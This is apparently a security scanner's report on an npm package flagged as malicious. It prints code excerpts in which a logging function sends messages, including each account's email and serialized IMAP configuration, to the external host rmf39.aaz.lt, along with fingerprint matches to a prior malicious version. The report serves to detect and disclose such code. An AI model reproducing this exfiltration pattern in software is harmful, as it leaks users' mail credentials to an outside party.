@bobfrankston/mailx-store-web@0.1.119: Malicious npm security | LPM Firewall

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@bobfrankston/mailx-store-web@0.1.119: Malicious npm security | LPM Firewall

Source & flagged code

5 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.118 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.118 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 35b409f9bea3f4b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.118 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.118 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

46function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); }

High

Ai Review Evidence

Android runtime sends every vlog message to a non-service logging host.

android-bootstrap.jsView on unpkg · L46

1513for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) {

High

Ai Review Evidence

Startup serializes each cloud-loaded account's IMAP configuration into that remote log message.

android-bootstrap.jsView on unpkg · L1513

Source & flagged code

5 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.118 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.118 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 35b409f9bea3f4b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.118 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.118 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

Lines 26-66javascript

26let service;

27let syncManager;

28const eventHandlers = [];

29// ── Event emitter ──

30function emitEvent(event) {

31 for (const

Lines 1493-1533javascript

1493 }

1494 }

1495 catch (e) {

1496 console.warn(`[android] List debug: ${e.message}`);

1497 }

1498 // Shared allowlist/preferences: pull NOW that Drive auth is

1499 // live, instead of waiting for the first message read to

1500 // trigger the lazy revalidate (which is itself served stale).

1501 primeSharedConfigs()

1502 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1503 // Read accounts directly from GDrive (bypass IndexedDB cache)

1504 narrate("Loading accounts from Google Drive…");

1505 const gdriveAccounts = await loadAccountsFromCloud();

1506 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1507 if (gdriveAccounts.length > 0) {

1508 // Use canonical GDrive accounts (upsert handles overwrites)

1509 accounts = gdriveAccounts;

1510 const enabled = accounts.filter(a => a.enabled);

1511 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1512 let setUp = 0;

1513 for (const account of accounts) {

1514 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

1515 if (!account.enabled) {

High

Ai Review Evidence

Startup serializes each cloud-loaded account's IMAP configuration into that remote log message.

android-bootstrap.jsView on unpkg · L1513

1516 vlog(`init: ${account.id} disabled, skipping`);

1517 continue;

1518 }

1519 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1520 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1521 if (domain === "gmail.com" || domain === "googlemail.com") {

1522 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1523 }

1524 await syncManager.addAccount(account);

1525 }

1526 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1527 // C157: sync NOW. The boot-time syncAll ran before these

1528 // providers existed (fresh install: zero local accounts),

1529 // so without this kick the folder tree stayed empty until

1530 // the next 60 s poll tick — on top of OAuth consent time,

1531 // that read as "frozen for minutes". syncAll's inbox

1532 // phase lists folders first, so the tree paints in

1533 // seconds; message counts stream in behind.